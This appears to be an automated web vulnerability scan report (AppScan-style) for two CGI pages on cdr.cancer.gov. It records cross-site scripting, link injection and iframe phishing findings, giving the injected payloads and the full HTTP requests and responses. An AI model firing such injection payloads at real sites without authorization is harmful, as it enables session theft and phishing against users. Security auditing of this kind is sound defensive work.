Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:55 GMT
Connection: close
Content-Length: 3181

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py - 5 issue(s)

### Issue 1 of 5

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448193 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 30

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(851)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermReports.py? Session=None'/><script>alert(851)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:53:58 GMT
Connection: close
Content-Length: 5063

...
E='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Term Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'/><script> alert(851) </script>' />
<h3>QC Reports</h3>
<ul>
<li><h4>Glossary Term Name</h4>
<ol>
<li><a href='/cgi-
bin/cdr/QcReport.py?DocType=GlossaryTermName&Session=None'/><script>alert(851)</script>'>Glossary
Term Name QC Report</a></li>
</ol>
</li>
<li><h4>Glossary Term Conce
...
...
E='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Term Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
```

```
<BR>
<input type='hidden' name='Session' value='None'/><script> alert(851) </script>' />
<h3>QC Reports</h3>
<ul>
<li><h4>Glossary Term Name</h4>
<ol>
<li><a href='/cgi-
bin/cdr/QcReport.py?DocType=GlossaryTermName&Session=None'/><script>alert(851)</script>'>Glossary
Term Name QC Report</a></li>
</ol>
</li>
<li><h4>Glossary Term Conce
...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448078 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF848.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermReports.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF848.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:53:58 GMT
Connection: close
Content-Length: 5015

...
equest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Term Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF848.html"> ' />
<h3>QC Reports</h3>
<ul>
<li><h4>Glossary Term Name</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&Session="'> <IMG
SRC="/WF_XSRF848.html"> '>Glossary Term Name QC Report</a></li>
</ol>
</li>
<li><h4>Glossary Term Concept</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermConcept&Session="'> <IMG
SRC="/WF_XSRF848.html"> '>Glossary Term Concept QC Report</a></li>
</ol>
</li>
<li><h4>Combined QC Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&ReportType=gtnwc&Session="'> <IMG
SRC="/WF_XSRF848.html"> '>Glossary Term Name with Concept QC Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryConceptFull.py?Session="'> <IMG SRC="/WF_XSRF848.html">
'>Glossary Term Concept - Full QC Report</a></li>
</ol>
</li>
</ul>
<h3>Management Reports</h3>
<ul>
```

```
<li><h4>Linked or Related Document Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/GlossaryTermLinks.py?Session="'> <IMG SRC="/WF_XSRF848.html">
'>Documents Linked to Glossary Term Name Report</a></li>
<li><a href='/cgi-bin/cdr/PronunciationByWordStem.py?Session="'> <IMG SRC="/WF_XSRF848.html">
'>Pronunciation by Glossary Term Stem Report</a></li>
<li><a href='/cgi-bin/cdr/Request4486.py?Session="'> <IMG SRC="/WF_XSRF848.html"> '>Glossary Term
Concept By Type Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryTermPhrases.py?Session="'> <IMG SRC="/WF_XSRF848.html">
'>Glossary Term and Variant Search Report</a></li>
</ol>
</li>
<li><h4>Processing Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/GlossaryProcessingStatusReport.py?Session="'> <IMG
SRC="/WF_XSRF848.html"> '>Processing Status Report</a></li>
<li><a href='/cgi-bin/cdr/Request4344.py?report=4342&Session="'> <IMG SRC="/WF_XSRF848.html">
'>Glossary Term Concept by English Definition Status Report</a></li>
<li><a href='/cgi-bin/cdr/Request4344.py?report=4344&Session="'> <IMG SRC="/WF_XSRF848.html">
'>Glossary Term Concept by Spanish Definition Status Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryConceptDocsModified.py?Session="'> <IMG SRC="/WF_XSRF848.html">
'>Glossary Term Concept Documents Modified Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryNameDocsModified.py?Session="'> <IMG SRC="/WF_XSRF848.html">
'>Glossary Term Name Documents Modified Report</a></li>
</ol>
</li>
<li><h4>Publication Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&ReportType=pp&Session="'> <IMG
SRC="/WF_XSRF848.html"> '>Publish Preview</a></li>
<li><a href='/cgi-bin/cdr/Request4333.py?Session="'> <IMG SRC="/WF_XSRF848.html"> '>New Published
Glossary Terms</a></li>
</ol>
</li>
</ul>
</form>
</body>
</html>


...
equest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Term Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF848.html"> ' />
<h3>QC Reports</h3>
<ul>
<li><h4>Glossary Term Name</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&Session="'> <IMG
SRC="/WF_XSRF848.html"> '>Glossary Term Name QC Report</a></li>
</ol>
</li>
<li><h4>Glossary Term Concept</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermConcept&Session="'> <IMG
SRC="/WF_XSRF848.html"> '>Glossary Term Concept QC Report</a></li>
</ol>
</li>
<li><h4>Combined QC Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&ReportType=gtnwc&Session="'> <IMG
SRC="/WF_XSRF848.html"> '>Glossary Term Name with Concept QC Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryConceptFull.py?Session="'> <IMG SRC="/WF_XSRF848.html">
'>Glossary Term Concept - Full QC Report</a></li>
</ol>
</li>
</ul>
<h3>Management Reports</h3>
<ul>
<li><h4>Linked or Related Document Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/GlossaryTermLinks.py?Session="'> <IMG SRC="/WF_XSRF848.html">
'>Documents Linked to Glossary Term Name Report</a></li>
<li><a href='/cgi-bin/cdr/PronunciationByWordStem.py?Session="'> <IMG SRC="/WF_XSRF848.html">
'>Pronunciation by Glossary Term Stem Report</a></li>
<li><a href='/cgi-bin/cdr/Request4486.py?Session="'> <IMG SRC="/WF_XSRF848.html"> '>Glossary Term
```

```
Concept By Type Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryTermPhrases.py?Session="'> <IMG SRC="/WF_XSRF848.html">
'>Glossary Term and Variant Search Report</a></li>
</ol>
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448131 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'None%27%22%3E%3Ciframe+id%3D847+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermReports.py? Session=None%27%22%3E%3Ciframe+id%3D847+src%3Dhttp%3A%2F%
2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:53:57 GMT
Connection: close
Content-Length: 5559


...
st' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Term Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'"> <iframe id=847 src= http://demo.testfire.net/ph
ishing.html > >' />
<h3>QC Reports</h3>
<ul>
<li><h4>Glossary Term Name</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&Session=None'"> <iframe id=847 src
 l> >'>Glossary Term Name QC Report</a></li>
</ol>
</li>
<li><h4>Glossary Term Concept</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermConcept&Session=None'"> <iframe id=847
sr c=http://demo.testfire.net/phishing.ht ml> >'>Glossary Term Concept QC Report</a></li>
</ol>
</li>
<li><h4>Combined QC Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&ReportType=gtnwc&Session=None'"> <i
fr am e id =8 47 s rc=http://demo.testfire.net/phishing.h tml> >'>Glossary Term Name with Concept
QC Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryConceptFull.py?Session=None'"> <iframe id=847 src=http://demo.te
stfire.net/phishin g. html> >'>Glossary Term Concept - Full QC Report</a></li>
</ol>
</li>
</ul>
<h3>Management Reports</h3>
```

```
<ul>
<li><h4>Linked or Related Document Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/GlossaryTermLinks.py?Session=None'"> <iframe id=847 src=http://demo.test
fire.net/phishing .html> >'>Documents Linked to Glossary Term Name Report</a></li>
<li><a href='/cgi-bin/cdr/PronunciationByWordStem.py?Session=None'"> <iframe id=84 7
src=http://demo.testfire.net/phishin g.html> >'>Pronunciation by Glossary Term Stem
Report</a></li>
<li><a href='/cgi-bin/cdr/Request4486.py?Session=None'"> <iframe id=8 47
src=http://demo.testfire.net/phishi ng.html> >'>Glossary Term Concept By Type Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryTermPhrases.py?Session=None'"> <iframe id= 847
src=http://demo.testfire.net/phish ing.html> >'>Glossary Term and Variant Search Report</a></li>
</ol>
</li>
<li><h4>Processing Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/GlossaryProcessingStatusReport.py?Session=None'"> <iframe id =847
src=http://demo.testfire.net/phis hing.html> >'>Processing Status Report</a></li>
<li><a href='/cgi-bin/cdr/Request4344.py?report=4342&Session=None'"> <iframe i d=847
src=http://demo.testfire.net/phi shing.html> >'>Glossary Term Concept by English Definition Status
Report</a></li>
<li><a href='/cgi-bin/cdr/Request4344.py?report=4344&Session=None'"> <iframe id=847
src=http://demo.testfire.net/ph ishing.html> >'>Glossary Term Concept by Spanish Definition Status
Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryConceptDocsModified.py?Session=None'"> <iframe id=847
src=http://demo.testfire.net/p hishing.html> >'>Glossary Term Concept Documents Modified
Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryNameDocsModified.py?Session=None'"> <ifram e id=847
src=http://demo.testfire.net/ phishing.html> >'>Glossary Term Name Documents Modified
Report</a></li>
</ol>
</li>
<li><h4>Publication Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&ReportType=pp&Session=None'"> <ifra
me id=847 src=http://demo.testfire.net /phishing.html> >'>Publish Preview</a></li>
<li><a href='/cgi-bin/cdr/Request4333.py?Session=None'"> <ifr ame id=847
src=http://demo.testfire.ne t/phishing.html> >'>New Published Glossary Terms</a></li>
</ol>
</li>
</ul>
</form>
</body>
</html>


...
st' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Term Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'"> <iframe id=847 src= http://demo.testfire.net/ph
ishing.html > >' />
<h3>QC Reports</h3>
<ul>
<li><h4>Glossary Term Name</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&Session=None'"> <iframe id=847 src
 l> >'>Glossary Term Name QC Report</a></li>
</ol>
</li>
<li><h4>Glossary Term Concept</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermConcept&Session=None'"> <iframe id=847
sr c=http://demo.testfire.net/phishing.ht ml> >'>Glossary Term Concept QC Report</a></li>
</ol>
</li>
<li><h4>Combined QC Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&ReportType=gtnwc&Session=None'"> <i
fr am e id =8 47 s rc=http://demo.testfire.net/phishing.h tml> >'>Glossary Term Name with Concept
QC Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryConceptFull.py?Session=None'"> <iframe id=847 src=http://demo.te
stfire.net/phishin g. html> >'>Glossary Term Concept - Full QC Report</a></li>
</ol>
</li>
</ul>
<h3>Management Reports</h3>
```

```
<ul>
<li><h4>Linked or Related Document Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/GlossaryTermLinks.py?Session=None'"> <iframe id=847 src=http://demo.test
fire.net/phishing .html> >'>Documents Linked to Glossary Term Name Report</a></li>
<li><a href='/cgi-bin/cdr/PronunciationByWordStem.py?Session=None'"> <iframe id=84 7
src=http://demo.testfire.net/phishin g.html> >'>Pronunciation by Glossary Term Stem
Report</a></li>
<li><a href='/cgi-bin/cdr/Request4486.py?Session=None'"> <iframe id=8 47
src=http://demo.testfire.net/phishi ng.html> >'>Glossary Term Concept By Type Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryTermPhrases.py?Session=None'"> <iframe id= 847
src=http://demo.testfire.net/phish ing.html> >'>Glossary Term and Variant Search Report</a></li>
</ol>
</li>
<li><h4>Processing Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/GlossaryProcessingStatusReport.py?Session=None'"> <iframe id =847
src=http://demo.testfire.net/phis hing.html> >'>Processing Status Report</a></li>
<li><a href='/cgi-bin/cdr/Request4344.py?report=4342&Session=None'"> <iframe i d=847
src=http://demo.testfire.net/phi shing.html> >'>Glossary Term Concept by English Definition Status
Report</a></li>
<li><a href='/cgi-bin/cdr/Request4344.py?report=4344&Session=None'"> <iframe id=847
src=http://demo.testfire.net/ph ishing.html> >'>Glossary Term Concept by Spanish Definition Status
Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryConceptDocsModified.py?Session=None'"> <iframe id=847
src=http://demo.testfire.net/p hishing.html> >'>Glossary Term Concept Documents Modified
Report</a></li>
<li><a href='/cgi-bin/cdr/GlossaryNameDocsModified.py?Session=None'"> <ifram e id=847
src=http://demo.testfire.net/ phishing.html> >'>Glossary Term Name Documents Modified
Report</a></li>
</ol>
</li>
<li><h4>Publication Reports</h4>
<ol>
<li><a href='/cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&ReportType=pp&Session=None'"> <ifra
me id=847 src=http://demo.testfire.net /phishing.html> >'>Publish Preview</a></li>
<li><a href='/cgi-bin/cdr/Request4333.py?Session=None'"> <ifr ame id=847
src=http://demo.testfire.ne t/phishing.html> >'>New Published Glossary Terms</a></li>
</ol>
</li>
</ul>
</form>
</body>
</html>
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448076 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermReports.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:31:51 GMT
Connection: close
Content-Length: 4583

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448125 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/GlossaryTermReports.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermReports.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:48:15 GMT
Connection: close
Content-Length: 4583

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermSearch.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448298 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to 'guest%22onmouseover%3D%22alert%2835%29%22'
```

**Reasoning:**

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermSearch.py? Session=guest%22onmouseover%3D%22alert%2835%29%22 HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:28:51 GMT
Connection: close
Content-Length: 9819

...
6 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/GlossaryTermSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest "onmouseover="alert(35)" ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search
</TD>

...
...
6 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/GlossaryTermSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest "onmouseover="alert(35)" ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
```

```
        <TD HEIGHT = "26"
        COLSPAN = "2"
        class = "header">CDR Advanced Search
        </TD>

        ...
```

## Issue 2 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448308 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'guest%27%22%3E%3Ciframe+id%3D444+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermSearch.py? Session=guest%27%22%3E%3Ciframe+id%3D444+src%3Dhttp%3A%2F%
2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:27:37 GMT
Connection: close
Content-Length: 9893

...

-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/GlossaryTermSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest'"> <iframe id=444 src= http://demo.testfire.net/phishing.html > >">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Se
...
...
input type='hidden' name='TypeName' value='GlossaryTermName'>
</FORM>
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/GlossaryTermSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest'"> <iframe id=444 src =http://demo.testfire.net/phishing.htm l> >">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<!-- TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanc
...
...

-->
```

```
        </STYLE>
        </HEAD>
        <BODY BGCOLOR = "#CCCCFF">
        <FORM METHOD = "GET"
        ACTION = "/cgi-bin/cdr/GlossaryTermSearch.py">
        <INPUT TYPE = "hidden"
        NAME = "Session"
        VALUE = "guest'"> <iframe id=444 src= http://demo.testfire.net/phishing.html > >">
        <TABLE WIDTH = "100%"
        BORDER = "0"
        CELLSPACING = "0">
        <TR BGCOLOR = "#6699FF">
        <TD HEIGHT = "26"
        COLSPAN = "2"
        class = "header">CDR Advanced Se
        ...
        ...
        input type='hidden' name='TypeName' value='GlossaryTermName'>
        </FORM>
        <FORM METHOD = "GET"
        ACTION = "/cgi-bin/cdr/GlossaryTermSearch.py">
        <INPUT TYPE = "hidden"
        NAME = "Session"
        VALUE = "guest'"> <iframe id=444 src =http://demo.testfire.net/phishing.htm l> >">
        <TABLE WIDTH = "100%"
        BORDER = "0"
        CELLSPACING = "0">
        <!-- TR BGCOLOR = "#6699FF">
        <TD HEIGHT = "26"
        COLSPAN = "2"
        class = "header">CDR Advanc
        ...
```

## Issue 3 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448321 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF445.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermSearch.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF445.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:27:38 GMT
Connection: close
Content-Length: 9823


...
066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
